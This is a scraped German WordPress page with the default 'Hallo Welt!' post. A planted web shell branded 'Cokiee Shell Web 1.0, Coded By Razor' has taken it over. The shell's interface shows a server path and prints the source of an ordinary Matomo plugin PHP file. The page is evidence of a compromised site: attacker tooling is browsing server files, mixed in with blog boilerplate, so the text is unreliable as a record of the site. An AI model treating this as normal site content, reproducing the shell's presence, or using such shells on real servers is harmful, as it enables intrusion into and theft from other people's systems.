Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/matomo/app/core/DataTable/Row/ |
Current File : //var/www/web28/html/wp-content/plugins/matomo/app/core/DataTable/Row/DataTableSummaryRow.php |
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license https://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later */ namespace Piwik\DataTable\Row; use Piwik\DataTable; use Piwik\DataTable\Row; /** * A special row whose column values are the aggregate of the row's subtable. * * This class creates sets its own columns to the sum of each row in the row's subtable. * * Non-numeric columns are bypassed during summation and do not appear in this * rows columns. * * See {@link Piwik\DataTable\Row::sumRow()} for more information on the algorithm. * */ class DataTableSummaryRow extends Row { /** * Constructor. * * @param DataTable|null $subTable The subtable of this row. This parameter is mostly for * convenience. If set, its rows will be summed to this one, * but it will not be set as this row's subtable (so * getSubtable() will return false). */ public function __construct($subTable = null) { if (isset($subTable)) { $this->sumTable($subTable); } } /** * Reset this row to an empty one and sums the associated subtable again. */ public function recalculate() { $subTable = $this->getSubtable(); if ($subTable) { $this->sumTable($subTable); } } /** * Sums a tables row with this one. * * @param DataTable $table */ private function sumTable($table) { $metadata = $table->getMetadata(DataTable::COLUMN_AGGREGATION_OPS_METADATA_NAME); $enableCopyMetadata = false; foreach ($table->getRowsWithoutSummaryRow() as $row) { $this->sumRow($row, $enableCopyMetadata, $metadata); } $summaryRow = $table->getRowFromId(DataTable::ID_SUMMARY_ROW); if ($summaryRow) { $this->sumRow($summaryRow, $enableCopyMetadata, $metadata); } } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare